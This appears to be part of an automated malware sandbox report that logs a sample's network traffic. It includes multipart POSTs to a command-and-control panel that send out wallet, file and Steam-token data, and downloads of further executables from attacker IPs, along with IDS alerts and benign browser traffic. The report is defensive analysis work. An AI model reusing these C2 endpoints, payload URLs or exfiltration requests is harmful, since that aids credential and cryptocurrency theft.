4b 45 47 49 44 47 44 47 48 43 41 41 41 41 4b 4b 46 43 47 2d 2d 0d 0a Data Ascii: ------JKEGIDGDGHCAAAAKKFCGContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------JKEGIDGDGHCAAAAKKFCGContent-Disposition: form-data; name="message"wallets------JKEGIDGDGHCAAAAKKFCG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHIIEHJKKECGCBFIIJDHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 2d 2d 0d 0a Data Ascii: ------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="message"files------CFHIIEHJKKECGCBFIIJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBGHDGHCGHCAAKFIIECFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------DBGHDGHCGHCAAKFIIECFContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------DBGHDGHCGHCAAKFIIECFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DBGHDGHCGHCAAKFIIECFContent-Disposition: form-data; name="file"------DBGHDGHCGHCAAKFIIECF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCFCAKFHCGCBFHCGHDHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 2d 2d 0d 0a Data Ascii: ------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="message"ybncbhylepme------KEGCFCAKFHCGCBFHCGHD--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGIIJJECFIDHJJKKFCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 2d 2d 0d 0a Data Ascii: ------EGDGIIJJECFIDHJJKKFCContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------EGDGIIJJECFIDHJJKKFCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EGDGIIJJECFIDHJJKKFC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 37 37 37 42 35 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2777B55A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/1724962075/eDPQZkT.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 39 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009006001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49744 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49830 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:61157 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:61175 -> 104.21.88.250:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:61182 -> 104.21.88.250:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:61180 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:61188 -> 104.21.88.250:443

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49828 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB5CC60 PR_Recv,

0_2_6CB5CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZHYzBU9XXRw5tHv&MD=5C6y4ED8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /work/api/v2/tenant/my/settingswithflights?&clienttype=edge-omnibox HTTP/1.1Host: business.bing.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/user/token/microsoftgraph?&clienttype=edge-omnibox HTTP/1.1Host: business.bing.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /config/v1/Edge/117.0.2045.47?clientId=-5438092865908489856&agents=Edge%2CEdgeConfig%2CEdgeServices%2CEdgeFirstRun%2CEdgeFirstRunConfig%2CEdgeDomainActions&osname=win&client=edge&channel=stable&scpfull=0&scpguard=0&scpfre=0&scpver=0&osarch=x86_64&osver=10.0.19045&wu=1&devicefamily=desktop&uma=0&sessionid=5&mngd=0&installdate=1696493841&edu=0&bphint=2&soobedate=1696493837&fg=1 HTTP/1.1Host: config.edge.skype.comConnection: keep-aliveIf-None-Match: "h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA="Accept-Encoding: gzipSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733137725&P2=404&P3=2&P4=BLlaGljRHDfvzL9BLm2TqzGBzejuet5KAiIOgo%2fpnXSJlO2jVdpJQ03ndK0K0V9JfX%2bSg0PV%2fKbdk6q%2fXbP72A%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: +3XNT+gxoElKTS96nBL3E6Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /extensionwebstorebase/v1/logextensionreliability?success=true&cv=+3XNT+gxoElKTS96nBL3E6&errorString=&crxId=jmjflgjpcpepeafmmgdpfkogkghcpiha&os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=edgecrx&prodchannel=&prodversion=117.0.2045.47&lang=en-GB&acceptformat=crx3,puff HTTP/1.1Host: edge.microsoft.comConnection: keep-aliveScenario: UpdateSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0A576580DC7A6D0124D170C2DDEE6CAA; _EDGE_S=F=1&SID=1E9460D0D047688427CB7592D1A5693C; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
